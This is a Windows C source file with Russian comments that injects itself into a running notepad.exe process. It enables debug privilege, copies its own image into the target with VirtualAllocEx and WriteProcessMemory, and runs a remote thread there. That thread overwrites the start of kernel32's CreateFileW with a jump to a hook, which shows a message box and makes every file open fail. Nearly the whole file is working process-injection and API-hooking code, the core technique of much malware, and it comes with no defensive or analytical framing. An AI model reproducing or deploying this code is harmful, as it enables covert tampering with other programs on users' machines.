#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#pragma comment(linker,"/BASE:0x13140000") // сдвигаем базу нашего процесса
#define WINAPI __stdcall
BOOL SetPrivilege(
                  HANDLE hToken,          // access token handle
                  LPCTSTR lpszPrivilege,  // name of privilege to enable/disable
                  BOOL bEnablePrivilege   // to enable or disable privilege
                  )
{
    TOKEN_PRIVILEGES tp;
    LUID luid;

    if ( !LookupPrivilegeValue(
        NULL,            // lookup privilege on local system
        lpszPrivilege,   // privilege to lookup
        &luid ) )        // receives LUID of privilege
    {
        //printf("LookupPrivilegeValue error: %u\n", GetLastError() );
        return FALSE;
    }

    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    if (bEnablePrivilege)
        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    else
        tp.Privileges[0].Attributes = 0;

    // Enable the privilege or disable all privileges.

    if ( !AdjustTokenPrivileges(
        hToken,
        FALSE,
        &tp,
        sizeof(TOKEN_PRIVILEGES),
        (PTOKEN_PRIVILEGES) NULL,
        (PDWORD) NULL) )
    {
        //printf("AdjustTokenPrivileges error: %u\n", GetLastError() );
        return FALSE;
    }

    if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)

    {
        //printf("The token does not have the specified privilege. \n");
        return FALSE;
    }

    return TRUE;
}


#pragma pack(push,1)
DWORD AW;
struct old{
    BYTE oldw[6];
};
DWORD Bytes,Bw;

struct  far_jmp{
    byte PuhsOp ;
    void * PushArg;
    byte RetOp;
};
far_jmp JmpMbw, JmpMba;
old oldw,olda;
void * oldp;
DWORD GetProcessID(char*);
BOOL Inject(HANDLE,DWORD(WINAPI* func)(LPVOID));
DWORD WINAPI func(LPVOID);




HANDLE WINAPI HCreateFileW(LPCWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurity, DWORD dwCreationDisp, DWORD dwFlags, HANDLE hTemplate)
{
    LoadLibrary("kernel32.dll");
    LoadLibrary("user32.dll");
    WriteProcessMemory(INVALID_HANDLE_VALUE, (void*)AW, (void*)&oldw, 6, &Bytes);
    MessageBoxA(NULL,"lol",NULL,NULL);

    WriteProcessMemory(INVALID_HANDLE_VALUE, (void*)AW, (void*)&JmpMbw, 6, &Bytes);
    return (HANDLE)-1;
}




int  main(void){
    HANDLE hToken;

    OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,&hToken);
    SetPrivilege(hToken,SE_DEBUG_NAME,TRUE);
    CloseHandle(hToken);
    if(!Inject(OpenProcess(PROCESS_ALL_ACCESS,false,GetProcessID("notepad.exe")),&func)) return MessageBoxA(NULL,"FUCK",NULL,NULL);

    return true;

}

//PGNSI AW;

DWORD WINAPI func(LPVOID)

{

    HANDLE hker = GetModuleHandle("Kernel32.dll");

    AW = (DWORD)GetProcAddress(GetModuleHandle("Kernel32.dll"), "CreateFileW");
    if (ReadProcessMemory(GetCurrentProcess(), (void*)AW,(void*)&oldw, 6, &Bw)!=NULL)
        MessageBoxA(NULL,"Good Read",NULL,NULL);
    JmpMbw.PuhsOp  = 0x68;
    JmpMbw.PushArg = &HCreateFileW;
    JmpMbw.RetOp   = 0xC3;
    if (WriteProcessMemory(GetCurrentProcess(), (void*)AW, (void*)&JmpMbw, 6, &Bytes)!=NULL)
        MessageBoxA(NULL,"Good Write",NULL,NULL);
    return true;

}
//-------- поиск процесса ---------
DWORD GetProcessID(char* lpNameProcess) // в параметре - имя процесса для внедрения
{

    HANDLE snap;    PROCESSENTRY32 pentry32;

    snap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

    if(snap==INVALID_HANDLE_VALUE) return 0;

    pentry32.dwSize=sizeof(PROCESSENTRY32);

    if(!Process32First(snap,&pentry32)) {CloseHandle(snap);return 0;}

    do

    {

        if(!lstrcmpi(lpNameProcess,&pentry32.szExeFile[0]))

        {

            CloseHandle(snap);

            return pentry32.th32ProcessID;

        }

    }

    while(Process32Next(snap,&pentry32));

    CloseHandle(snap);

    return 0;

}
//-------- функция внедрения в чужой процесс -------------------

BOOL Inject(HANDLE hProc,DWORD(WINAPI* func)(LPVOID))

{

    DWORD id;

    DWORD ByteOfWriten;

    HMODULE hModule = GetModuleHandle(NULL);

    DWORD size=((PIMAGE_OPTIONAL_HEADER)((LPVOID)((BYTE*)(hModule)+((PIMAGE_DOS_HEADER)(hModule))->e_lfanew+sizeof(DWORD)+sizeof(IMAGE_FILE_HEADER))))->SizeOfImage;

    char* hNewModule = (char*)VirtualAllocEx(hProc,hModule,size,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);

    if(hNewModule==NULL) return false;

    WriteProcessMemory(hProc,hNewModule,hModule,size,&ByteOfWriten);

    if(ByteOfWriten!=size){return false;}

    HANDLE hThread=CreateRemoteThread(hProc,NULL,0,func,(LPVOID)hNewModule,0,&id);
    if(hThread==0) return false;

    return true;

}